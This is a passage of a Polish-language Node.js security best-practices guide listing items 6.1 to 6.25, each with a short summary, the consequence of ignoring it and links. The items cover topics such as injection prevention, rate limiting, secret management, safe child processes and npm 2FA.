`6. Najlepsze praktyki bezpieczeństwa`\n\n<div align=\"center\">\n<img src=\"https://img.shields.io/badge/OWASP%20Threats-Top%2010-green.svg\" alt=\"54 items\"/>\n</div>\n\n## ![✔] 6.1. Ustanowienie zasad bezpieczeństwa linter\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20XSS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Skorzystaj z wtyczek liniowych związanych z bezpieczeństwem, takich jak [eslint-plugin-security](https://github.com/nodesecurity/eslint-plugin-security), aby wychwycić luki w zabezpieczeniach i problemy jak najwcześniej, najlepiej gdy są one kodowane. Może to pomóc w wykrywaniu słabych punktów bezpieczeństwa, takich jak używanie eval, wywoływanie procesu potomnego lub importowanie modułu z literałem łańcucha (np. dane wejściowe użytkownika). Kliknij „Czytaj więcej” poniżej, aby zobaczyć przykłady kodu, które zostaną złapane przez linijkę bezpieczeństwa\n\n**W przeciwnym razie:** To, co mogło być bezpośrednią słabością bezpieczeństwa podczas programowania, staje się poważnym problemem w produkcji. Ponadto projekt może nie być zgodny ze spójnymi praktykami bezpieczeństwa kodu, co prowadzi do wprowadzenia luk w zabezpieczeniach lub poufnych danych wrażliwych wrzuconych w zdalnych repozytoriach\n\n🔗 [**Czytaj więcej: Lint rules**](./sections/security/lintrules.polish.md)\n\n<br/><br/>\n\n## ![✔] 6.2. Ogranicz równoczesne żądania przy użyciu oprogramowania pośredniego\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Ataki DOS są bardzo popularne i stosunkowo łatwe do przeprowadzenia. Wdrażanie ograniczenia prędkości za pomocą usługi zewnętrznej, takiej jak usługi równoważenia obciążenia w chmurze, zapory w chmurze, nginx, pakiet [rate-limiting middleware](https://www.npmjs.com/package/rate-limiter-fiętki) lub (dla mniejszych i mniej krytycznych aplikacji) ograniczające szybkość oprogramowanie pośrednie (np. [express-rate-limit](https://www.npmjs.com/package/express-rate-limit))\n\n**W przeciwnym razie:** Aplikacja może zostać zaatakowana, co spowoduje odmowę usługi, w wyniku której prawdziwi użytkownicy otrzymają usługę o obniżonej jakości lub niedostępną.\n\n🔗 [**Czytaj więcej: Implement rate limiting**](./sections/security/limitrequests.polish.md)\n\n<br/><br/>\n\n## ![✔] 6.3 Wyodrębnij dane wrażliwe z plików konfiguracyjnych lub użyj pakietów, aby je zaszyfrować\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A3:Sensitive%20Data%20Exposure%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Nigdy nie przechowuj danych wrażliwych jako zwykły tekst w plikach konfiguracyjnych lub kodzie źródłowym. Zamiast tego skorzystaj z systemów zarządzania danymi wrażliwymi, takich jak produkty Vault, Kubernetes / Docker Secrets lub wykorzystując zmienne środowiskowe. W ostateczności dane wrażliwe przechowywane w kontroli źródła muszą być szyfrowane i zarządzane (klucze, wygasanie, kontrola itp.). Skorzystaj z hooks poprzedzających zatwierdzenie / push, aby zapobiec przypadkowemu commitowaniu danych wrażliwych\n\n**W przeciwnym razie:** Kontrola źródła, nawet w przypadku prywatnych repozytoriów, może zostać omyłkowo upubliczniona, w którym to momencie ujawniane są wszystkie dane wrażliwe. Dostęp do kontroli źródła dla strony zewnętrznej nieumyślnie zapewni dostęp do powiązanych systemów (baz danych, API, usług itp.).\n\n🔗 [**Czytaj więcej: Secret management**](./sections/security/secretmanagement.polish.md)\n\n<br/><br/>\n\n## ![✔] 6.4. Zapobiegaj podatności na wstrzykiwanie zapytań w bibliotekach ORM / ODM\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Aby zapobiec wstrzykiwaniu SQL / NoSQL i innym złośliwym atakom, zawsze używaj ORM / ODM lub biblioteki bazy danych, która ucieka przed danymi lub obsługuje nazwane lub indeksowane zapytania sparametryzowane, i dba o sprawdzenie poprawności danych wejściowych użytkownika dla oczekiwanych typów. Nigdy nie używaj ciągów szablonów JavaScript ani konkatenacji ciągów, aby wstrzykiwać wartości do zapytań, ponieważ otwiera to aplikację na szeroki zakres luk. Wszystkie renomowane biblioteki dostępu do danych Node.js (np. [Sequelize](https://github.com/sequelize/sequelize), [Knex](https://github.com/tgriesser/knex), [mongoose](https://github.com/Automattic/mongoose)) mają wbudowaną ochronę przed atakami iniekcyjnymi.\n\n**W przeciwnym razie:** Nieprawidłowe lub niezaangażowane dane wejściowe użytkownika mogą prowadzić do wstrzyknięcia przez operatora podczas pracy z MongoDB dla NoSQL, a niestosowanie odpowiedniego systemu odkażania lub ORM z łatwością pozwoli na ataki z zastrzykiem SQL, tworząc ogromną lukę.\n\n🔗 [**Czytaj więcej: Query injection prevention using ORM/ODM libraries**](./sections/security/ormodmusage.polish.md)\n\n<br/><br/>\n\n## ![✔] 6.5. Zbiór ogólnych dobrych praktyk w zakresie bezpieczeństwa\n\n**TL;DR:** Jest to zbiór porad bezpieczeństwa, które nie są bezpośrednio związane z Node.js - implementacja Node nie różni się niczym od żadnego innego języka. Kliknij Czytaj więcej, aby przejrzeć.\n\n🔗 [**Czytaj więcej: Common security best practices**](./sections/security/commonsecuritybestpractices.polish.md)\n\n<br/><br/>\n\n## ![✔] 6.6. Dostosuj nagłówki odpowiedzi HTTP, aby zwiększyć bezpieczeństwo\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Twoja aplikacja powinna korzystać z bezpiecznych nagłówków, aby uniemożliwić atakującym typowe ataki, takie jak skrypty cross-site scripting (XSS), kliknięcia i inne złośliwe ataki. Można je łatwo skonfigurować za pomocą modułów takich jak [helmet](https://www.npmjs.com/package/helmet).\n\n**W przeciwnym razie:** Atakujący mogą wykonywać bezpośrednie ataki na użytkowników aplikacji, co prowadzi do ogromnych luk w zabezpieczeniach\n\n🔗 [**Czytaj więcej: Using secure headers in your application**](./sections/security/secureheaders.polish.md)\n\n<br/><br/>\n\n## ![✔] 6.7. Stale i automatycznie sprawdzaj wrażliwe zależności\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A9-Using_Components_with_Known_Vulnerabilities\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Known%20Vulnerabilities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** W ekosystemie npm często występuje wiele zależności dla projektu. Zależności powinny być zawsze kontrolowane w miarę wykrycia nowych luk. Użyj narzędzi takich jak [npm audit](https://docs.npmjs.com/cli/audit) lub [snyk](https://snyk.io/) do śledzenia, monitorowania i łatania podatnych na zagrożenia zależności. Zintegruj te narzędzia z konfiguracją CI, aby złapać wrażliwą zależność, zanim przejdzie ona do produkcji.\n\n**W przeciwnym razie:** Osoba atakująca może wykryć strukturę sieci i zaatakować wszystkie znane luki w zabezpieczeniach.\n\n🔗 [**Czytaj więcej: Dependency security**](./sections/security/dependencysecurity.polish.md)\n\n<br/><br/>\n\n## ![✔] 6.8. Unikaj używania biblioteki kryptograficznej Node.js do obsługi haseł, użyj Bcrypt\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Hasła lub dane wrażliwe (klucze API) powinny być przechowywane przy użyciu bezpiecznej funkcji hash + salt, takiej jak `bcrypt`, co powinno być preferowanym wyborem w stosunku do implementacji JavaScript ze względu na wydajność i bezpieczeństwo.\n\n**W przeciwnym razie:** Hasła lub dane wrażliwe, które są utrwalane bez korzystania z bezpiecznej funkcji, są podatne na brute force i ataki słownikowe, które ostatecznie doprowadzą do ich ujawnienia.\n\n🔗 [**Czytaj więcej: Use Bcrypt**](./sections/security/bcryptpasswords.polish.md)\n\n<br/><br/>\n\n## ![✔] 6.9. Unikaj danych wyjściowych HTML, JS i CSS\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Niezaufane dane wysyłane do przeglądarki mogą zostać wykonane zamiast po prostu wyświetlane, jest to powszechnie nazywane atakiem typu cross-site-scripting (XSS). Ogranicz to, używając dedykowanych bibliotek, które jawnie oznaczają dane jako czystą treść, która nigdy nie powinna zostać wykonana (tj. kodowanie, ucieczka)\n\n**W przeciwnym razie:** Osoba atakująca może przechowywać złośliwy kod JavaScript w bazie danych, który zostanie następnie wysłany „tak jak jest” do biednych klientów\n\n🔗 [**Czytaj więcej: Escape output**](./sections/security/escape-output.polish.md)\n\n<br/><br/>\n\n## ![✔] 6.10. Sprawdź poprawność przychodzących schematów JSON\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7: XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A8:Insecured%20Deserialization%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Zweryfikuj ładowność treści przychodzących żądań i upewnij się, że spełnia oczekiwania, jeśli nie, szybko zawiedzie. Aby uniknąć żmudnego kodowania sprawdzania poprawności na każdej trasie, możesz użyć lekkich schematów sprawdzania poprawności opartych na JSON, takich jak [jsonschema](https://www.npmjs.com/package/jsonschema) lub [joi](https://www.npmjs.com/package/joi)\n\n**W przeciwnym razie:** Twoja hojność i liberalne podejście znacznie zwiększa powierzchnię ataku i zachęca atakującego do wypróbowania wielu danych wejściowych, dopóki nie znajdzie kombinacji umożliwiającej zawieszenie aplikacji\n\n🔗 [**Czytaj więcej: Validate incoming JSON schemas**](./sections/security/validation.polish.md)\n\n<br/><br/>\n\n## ![✔] 6.11. Obsługa czarnych list JWT\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Podczas korzystania z tokenów WWW JSON (na przykład z [Passport.js](https://github.com/jaredhanson/passport)) domyślnie nie ma mechanizmu, aby odwołać dostęp z wydanych tokenów. Gdy odkryjesz jakąś szkodliwą aktywność użytkownika, nie ma sposobu, aby powstrzymać ich przed dostępem do systemu, o ile posiadają prawidłowy token. Ogranicz to, wdrażając czarną listę niezaufanych tokenów, które są sprawdzane przy każdym żądaniu.\n\n**W przeciwnym razie:** Wygasłe lub niewłaściwie umieszczone tokeny mogą być złośliwie wykorzystywane przez osoby trzecie do uzyskiwania dostępu do aplikacji i podszywania się pod właściciela tokena.\n\n🔗 [**Czytaj więcej: Blacklist JSON Web Tokens**](./sections/security/expirejwt.polish.md)\n\n<br/><br/>\n\n## ![✔] 6.12. Zapobiegaj brute force na autoryzację\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Prostą i skuteczną techniką jest ograniczenie prób autoryzacji przy użyciu dwóch wskaźników:\n\n1. Pierwszy to liczba kolejnych nieudanych prób tego samego unikalnego identyfikatora / nazwy użytkownika i adresu IP.\n2. Druga to liczba nieudanych prób z adresu IP w dłuższym okresie czasu. Na przykład zablokuj adres IP, jeśli wykona 100 nieudanych prób w ciągu jednego dnia.\n\n**W przeciwnym razie:** Osoba atakująca może podejmować nieograniczoną liczbę zautomatyzowanych prób uzyskania hasła w celu uzyskania dostępu do uprzywilejowanych kont w aplikacji\n\n🔗 [**Czytaj więcej: Login rate limiting**](./sections/security/login-rate-limit.polish.md)\n\n<br/><br/>\n\n## ![✔] 6.13. Uruchom Node.js jako użytkownik inny niż root\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A5:Broken%20Access%20Access%20Control-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Istnieje częsty scenariusz, w którym Node.js działa jako użytkownik root z nieograniczonymi uprawnieniami. Na przykład jest to domyślne zachowanie w kontenerach Docker. Zalecane jest utworzenie użytkownika innego niż root i upieczenie go w obrazie Docker (przykłady podane poniżej) lub uruchomienie procesu w imieniu tego użytkownika przez wywołanie kontenera z flagą \"-u username\"\n\n**W przeciwnym razie:** Atakujący, któremu uda się uruchomić skrypt na serwerze, uzyskuje nieograniczoną władzę nad maszyną lokalną (np. zmienia iptable i przekierowuje ruch do swojego serwera)\n\n🔗 [**Czytaj więcej: Run Node.js as non-root user**](./sections/security/non-root-user.polish.md)\n\n<br/><br/>\n\n## ![✔] 6.14. Ogranicz rozmiar ładunku przy użyciu odwrotnego proxy lub oprogramowania pośredniego\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A8:Insecured%20Deserialization%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Im większy jest ładunek ciała, tym trudniej jest przetwarzać pojedynczy wątek. Jest to okazja dla atakujących, aby postawić serwery na kolanach bez ogromnej liczby żądań (ataki DOS / DDOS). Ogranicz to, ograniczając rozmiar ciała przychodzących żądań na krawędzi (np. zapora ogniowa, ELB) lub konfigurując [ekspresowy parser treści](https://github.com/expressjs/body-parser), aby akceptował tylko małe ładunki\n\n**W przeciwnym razie:** Twoja aplikacja będzie musiała poradzić sobie z dużymi żądaniami, niezdolna do przetworzenia innej ważnej pracy, którą musi wykonać, co będzie miało wpływ na wydajność i podatność na ataki DOS\n\n🔗 [**Czytaj więcej: Limit payload size**](./sections/security/requestpayloadsizelimit.polish.md)\n\n<br/><br/>\n\n## ![✔] 6.15. Unikaj instrukcji eval JavaScript\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** `eval` jest złe, ponieważ pozwala na wykonanie niestandardowego kodu JavaScript w czasie wykonywania. Jest to nie tylko kwestia wydajności, ale także ważna kwestia bezpieczeństwa ze względu na złośliwy kod JavaScript, który może pochodzić z danych wejściowych użytkownika. Inną cechą językową, której należy unikać, jest konstruktor `new Function`. `setTimeout` i`setInterval` nigdy nie powinny być przekazywane dynamicznemu kodowi JavaScript.\n\n**W przeciwnym razie:** Złośliwy kod JavaScript znajduje drogę do tekstu przekazywanego do `eval` lub innych funkcji języka JavaScript oceniających w czasie rzeczywistym, i uzyskuje pełny dostęp do uprawnień JavaScript na stronie. Luka ta często objawia się jako atak XSS.\n\n🔗 [**Czytaj więcej: Avoid JavaScript eval statements**](./sections/security/avoideval.polish.md)\n\n<br/><br/>\n\n## ![✔] 6.16. Zapobiegaj złemu Regex'owi przed przeciążeniem wykonania pojedynczego wątku\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Wyrażenia regularne, chociaż są przydatne, stanowią prawdziwe zagrożenie dla aplikacji JavaScript w ogóle, w szczególności dla platformy Node.js. Wprowadzanie przez użytkownika tekstu w celu dopasowania może wymagać przetworzenia dużej liczby cykli procesora. Przetwarzanie Regex może być nieefektywne w takim stopniu, że pojedyncze żądanie, które potwierdza 10 słów, może zablokować całą pętlę zdarzeń na 6 sekund i ustawić procesor na on. Z tego powodu preferuj pakiety walidacyjne innych firm, takie jak [validator.js](https://github.com/chriso/validator.js) zamiast pisać własne wzorce Regex, lub skorzystaj z [safe-regex](https://github.com/substack/safe-regex) do wykrywania wrażliwych wzorców wyrażeń regularnych\n\n**W przeciwnym razie:** Źle napisane wyrażenia regularne mogą być podatne na ataki DoS wyrażeń regularnych, które całkowicie zablokują pętlę zdarzeń. Na przykład popularny pakiet `moment` został uznany za podatny na złośliwe użycie Regex w listopadzie 2017r.\n\n🔗 [**Czytaj więcej: Prevent malicious RegEx**](./sections/security/regex.polish.md)\n\n<br/><br/>\n\n## ![✔] 6.17. Unikaj ładowania modułu za pomocą zmiennej\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Unikaj wymagania / importowania innego pliku ze ścieżką podaną jako parametr ze względu na obawy, że mógł on pochodzić z danych wejściowych użytkownika. Regułę tę można rozszerzyć w celu uzyskania ogólnego dostępu do plików (tj. `Fs.readFile ()`) lub innego poufnego dostępu do zasobów za pomocą zmiennych dynamicznych pochodzących z danych wprowadzanych przez użytkownika. [Eslint-plugin-security](https://www.npmjs.com/package/eslint-plugin-security) linter potrafi złapać takie wzorce i odpowiednio wcześnie ostrzec\n\n**W przeciwnym razie:** Złośliwe dane wejściowe użytkownika mogą znaleźć drogę do parametru wymaganego do zmodyfikowania plików, na przykład wcześniej przesłanego pliku do systemu plików lub uzyskania dostępu do już istniejących plików systemowych.\n\n🔗 [**Czytaj więcej: Safe module loading**](./sections/security/safemoduleloading.polish.md)\n\n<br/><br/>\n\n## ![✔] 6.18. Uruchom niebezpieczny kod w piaskownicy\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** W przypadku zadania uruchomienia kodu zewnętrznego, który jest podawany w czasie wykonywania (np. wtyczki), użyj dowolnego środowiska wykonawczego „piaskownicy”, które izoluje i chroni główny kod przed wtyczką. Można to osiągnąć za pomocą dedykowanego procesu (np. `Cluster.fork ()`), środowiska bezserwerowego lub dedykowanych pakietów npm, które działają jak piaskownica\n\n**W przeciwnym razie:** Wtyczka może atakować poprzez nieskończoną różnorodność opcji, takich jak nieskończone pętle, przeciążenie pamięci i dostęp do wrażliwych zmiennych środowiskowych procesu\n\n🔗 [**Czytaj więcej: Run unsafe code in a sandbox**](./sections/security/sandbox.polish.md)\n\n<br/><br/>\n\n## ![✔] 6.19. Zachowaj szczególną ostrożność podczas pracy z procesami potomnymi\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Jeśli to możliwe, unikaj korzystania z procesów potomnych, a jeśli to konieczne, sprawdzaj poprawność i odkażaj dane wejściowe, aby złagodzić ataki polegające na wstrzykiwaniu powłoki. Wolę używać `child_process.execFile`, który z definicji wykona tylko jedno polecenie z zestawem atrybutów i nie pozwoli na rozszerzenie parametrów powłoki.\n\n**W przeciwnym razie:** Naiwne użycie procesów potomnych może spowodować zdalne wykonanie poleceń lub ataki polegające na wstrzyknięciu powłoki z powodu wprowadzenia złośliwego użytkownika do niezarządzanego polecenia systemowego.\n\n🔗 [**Czytaj więcej: Be cautious when working with child processes**](./sections/security/childprocesses.polish.md)\n\n<br/><br/>\n\n## ![✔] 6.20. Ukryj szczegóły błędów przed klientami\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Zintegrowana ekspresowa obsługa błędów domyślnie ukrywa szczegóły błędu. Jednak duże są szanse na wdrożenie własnej logiki obsługi błędów za pomocą niestandardowych obiektów Error (uważanych przez wielu za najlepszą praktykę). Jeśli to zrobisz, pamiętaj, aby nie zwracać całego obiektu Error do klienta, który może zawierać pewne wrażliwe szczegóły aplikacji\n\n**W przeciwnym razie:** Wrażliwe szczegóły aplikacji, takie jak ścieżki plików serwera, używane moduły stron trzecich i inne wewnętrzne przepływy pracy aplikacji, które mogą zostać wykorzystane przez atakującego, mogą zostać wyciekły z informacji znalezionych w stack trace\n\n🔗 [**Czytaj więcej: Hide error details from client**](./sections/security/hideerrors.polish.md)\n\n<br/><br/>\n\n## ![✔] 6.21. Skonfiguruj 2FA dla npm lub Yarn\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Każdy krok w łańcuchu programowania powinien być chroniony za pomocą MFA (uwierzytelnianie wieloskładnikowe), npm / Yarn to słodka okazja dla atakujących, którzy mogą zdobyć hasło jakiegoś programisty. Korzystając z poświadczeń programistów, osoby atakujące mogą wstrzykiwać złośliwy kod do bibliotek szeroko instalowanych w projektach i usługach. Może nawet w Internecie, jeśli zostanie opublikowany publicznie. Włączenie uwierzytelniania 2-czynnikowego w npm pozostawia niemal zerowe szanse atakującym na zmianę kodu pakietu.\n\n**W przeciwnym razie:** [Czy słyszałeś o programiście eslint, którego hasło zostało przejęte?](https://medium.com/@oprearocks/eslint-backdoor-what-it-is-and-how-to-fix-the-issue-221f58f1a8c8)\n\n<br/><br/>\n\n## ![✔] 6.22. Zmodyfikuj ustawienia oprogramowania pośredniego sesji\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Każda platforma sieciowa i technologia ma swoje znane słabości - informowanie atakującego, której struktury sieciowej używamy, jest dla nich bardzo pomocne. Korzystanie z domyślnych ustawień dla pośrednich sesji może narazić twoją aplikację na ataki przejmujące specyficzne dla modułu i frameworka w podobny sposób jak nagłówek `X-Powered-By`. Spróbuj ukryć wszystko, co identyfikuje i ujawnia Twój stos technologii (np. Node.js, Express)\n\n**W przeciwnym razie:** Pliki cookie mogą być przesyłane za pośrednictwem niezabezpieczonych połączeń, a osoba atakująca może użyć identyfikacji sesji w celu zidentyfikowania podstawowej struktury aplikacji internetowej, a także podatności na uszkodzenia specyficzne dla modułu\n\n🔗 [**Czytaj więcej: Cookie and session security**](./sections/security/sessions.polish.md)\n\n<br/><br/>\n\n## ![✔] 6.23. Unikaj ataków DOS, jawnie określając, kiedy proces powinien ulec awarii\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Proces Node'a ulega awarii, gdy błędy nie są obsługiwane. Wiele najlepszych praktyk zaleca nawet wyjście, nawet jeśli błąd został wykryty i naprawiony. Na przykład program Express zawiesza się przy każdym błędzie asynchronicznym - chyba że zawiniesz trasy klauzulą catch. Otwiera to bardzo słodkie miejsce ataku dla atakujących, którzy rozpoznają, co powoduje, że proces ulega awarii i wielokrotnie wysyłają to samo żądanie. Nie ma na to natychmiastowego rozwiązania, ale kilka technik może złagodzić ból: za każdym razem, gdy proces ulega awarii z powodu nieobsługiwanego błędu, ostrzegaj z krytyczną dotkliwością, sprawdzaj dane wejściowe i unikaj awarii procesu z powodu nieprawidłowego wprowadzania danych przez użytkownika, owiń wszystkie trasy chwytaniem i rozważ, aby nie upaść, gdy błąd wystąpił w żądaniu (w przeciwieństwie do tego, co dzieje się globalnie)\n\n**W przeciwnym razie:** To tylko wyuczone przypuszczenie: biorąc pod uwagę wiele aplikacji Node.js, jeśli spróbujemy przekazać puste ciało JSON do wszystkich żądań POST - garść aplikacji ulegnie awarii. W tym momencie możemy po prostu powtórzyć wysyłanie tego samego żądania, aby z łatwością usunąć aplikacje\n\n<br/><br/>\n\n## ![✔] 6.24. Zapobiegaj niebezpiecznym przekierowaniom\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Przekierowania, które nie sprawdzają poprawności danych wejściowych użytkownika, mogą umożliwić atakującym uruchamianie oszustw związanych z wyłudzaniem informacji, kradzieży poświadczeń użytkownika i wykonywania innych złośliwych działań.\n\n**W przeciwnym razie:** Jeśli osoba atakująca odkryje, że nie weryfikujesz danych zewnętrznych dostarczonych przez użytkownika, może wykorzystać tę lukę, publikując specjalnie spreparowane łącza na forach, w mediach społecznościowych i innych miejscach publicznych, aby użytkownicy mogli ją kliknąć.\n\n🔗 [**Czytaj więcej: Prevent unsafe redirects**](./sections/security/saferedirects.polish.md)\n\n<br/><br/>\n\n## ![✔] 6.25. Unikaj publikowania danych wrażliwych w rejestrze npm\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Należy podjąć środki ostrożności, aby uniknąć ryzyka przypadkowego opublikowania danych wrażliwych w publicznych rejestrach npm. Plik `.npmignore` może być użyty do umieszczenia na czarnej liście określonych plików lub folderów, lub tablica`files` w `package.json` może działać jako biała lista.\n\n**W przeciwnym razie:** Klucze API, hasła i inne dane wrażliwe twojego projektu są otwarte na wykorzystywanie przez każdego, kto je napotka, co może 